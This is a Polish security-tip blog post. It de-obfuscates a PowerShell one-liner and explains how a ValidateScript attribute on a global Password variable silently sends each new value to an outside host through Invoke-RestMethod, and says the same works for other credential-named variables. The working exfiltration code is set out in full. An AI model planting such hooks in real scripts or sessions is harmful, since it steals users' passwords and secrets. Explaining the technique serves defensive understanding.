Żeby lepiej zrozumieć co się dzieje, rozwińmy aliasy i skrócone parametry:
sv
- alias na Set-Variable
,
-o a
- skrócone przekazanie parametru -Option AllScope
,
-p
- skrócony zapis parametru -PassThru
, który powoduje, że zostanie zwrócony obiekt reprezentujący ustawioną zmienną (domyślnie Set-Variable
nie zwraca niczego),
irm
- alias na Invoke-RestMethod
.
Dzięki temu, całość możemy przedstawić w nieco bardziej czytelny sposób:
Set-Variable -Name Password -Option AllScope -Value ""
$vBlock = {
Invoke-RestMethod "aptmc.pl/?$_"
return $true
}
$validator = [ValidateScript]($vBlock)
(Get-Variable -Name Password).Attributes.Add($validator)
Wyposażeni w tę wiedzę, wszystko już chyba staje się jasne. Cała idea polega na tym, że:
- definiujemy zmienną o nazwie Password, ustawiając jej opcję
AllScope
, która powoduje, że będzie one dostępna we wszystkich zasięgach (nawet jeśli jakiś skrypt czy funkcja jawnie ustawi sobie zmienną Password jako local:
czy private:
(!!)),
- definiujemy validator, który zamiast faktycznej walidacji eksfiltruje zawartość zmiennej po HTTP/HTTPS za pomocą cmdletu
Invokt-RestMethod
; validator zwraca $true
, co oznacza, że zmienna jest poprawna (w przeciwnym razie Powershell poinformowałby o błędzie),
- dodajemy validator do zmiennej Password, w wyniku czego zostanie on zawsze uruchomiony, kiedy jej zawartość ulegnie zmianie.
Zachęcam do przemyślania sobie kilku scenariuszy, kiedy to może być wykorzystane i do czego to może prowadzić. Oczywiście zamiast czy też obok zmiennej Password analogicznie, mogą być potraktowane zmienne typu pass, credentials, creds, key etc.
Jeśli chcesz otrzymywać nowe, mięsiste protipy na maila, a także zostać czasem powiadomiony o wartościowych wydarzeniach - dołącz do subskrybentów.